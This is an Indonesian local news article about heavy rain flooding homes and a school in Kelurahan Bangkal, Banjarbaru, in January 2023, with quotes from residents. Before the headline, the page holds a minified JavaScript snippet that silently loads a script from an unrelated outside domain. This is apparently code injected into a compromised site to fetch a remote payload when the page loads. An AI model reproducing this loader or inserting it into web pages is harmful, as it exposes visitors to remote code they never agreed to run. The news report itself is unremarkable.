(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');

HEADLINE

Hujan Lebat Dua Hari, Permukiman Warga di Bangkal Banjarbaru Terendam Air

KANALKALIMANTAN.COM, BANJARBARU – Guyuran hujan lebat melanda wilayah Kota Banjarbaru dalam dua hari terakhir mengakibatkan air sungai meluap dan menggenangi kawasan permukiman warga.

Air menggenangi kawasan permukiman beberapa RT di Kelurahan Bangkal, Kecamatan Cempaka, Kota Banjarbaru, Jumat (27/1/2023) siang.

Pasca hujan deras mengguyur, beberapa wilayah di Kelurahan Bangkal tergenang air, terutama di daerah bantaran Sungai Pantai -biasa warga menyebut- dan Sungai Handil Kiai yang tembus ke Sungai Banyu Karuh.

Warga Bangkal, Amet mengatakan, air mulai menggenangi rumahnya sejak tengah malam dan air merupakan kiriman dari sungai yang ada di Cempaka.

“Ini sudah mulai surut, naiknya mulai pukul dua dini hari,” katanya.

Dilanjutkannya, air yang menggenangi rumahnya walau tidak sedalam tahun 2021 lalu, dirinya tetap was-was. Sebab, dalam dua hari terakhir hujan terus mengguyur dengan lebat.

“Barang-barang sudah diamankan ke tempat yang lebih tinggi,” ujarnya.

Air yang menggenangi rumahnya, sudah masuk ke bagian lantai rumahnya bagian dalam dan bagian dapur sudah terendam.

Menurutnya, walau ini sudah menjadi kebiasaan, dirinya berharap agar ada penambahan embung di wilayah Kecamatan Cempaka agar mengurangi debit air.

Dirinya juga mengetahui rencana pembangunan embung sempat mengalami permasalahan karena pembebasan lahan.

“Kalau bisa tambah embung, niat pemerintahkan baik, di sini (Bangkal) sudah keseringan banjir kayak ini,” tuturnya.

Dibeberkannya, air yang menggenangi kali ini ada beberapa warga yang sudah mengungsi ke kerabat dekatnya.

“Ada 5 buah rumah yang tergenang parah, semuanya sudah mengungsi,” tuntasnya.

Senada dengan Amet, salah seorang warga Bangkal, Hayaturrahmah mengatakan, barang-barang sudah diamankan guna mengantisipasi jika air mengalami peningkatan dan masuk ke rumahnya.

“Sebagian sudah diamankan,” ujarnya.

Dari pantauan Kanalkalimantan.com, ada beberapa permukiman yang terendam akibat air kiriman ini, terutama di RT 10 dan 11 Kelurahan Bangkal. Selain permukiman, fasilitas pendidikan juga terdampak banjir yakni SDN 2 Bangkal.(Kanalkalimantan.com/ibnu)

Reporter : ibnu
Editor : bie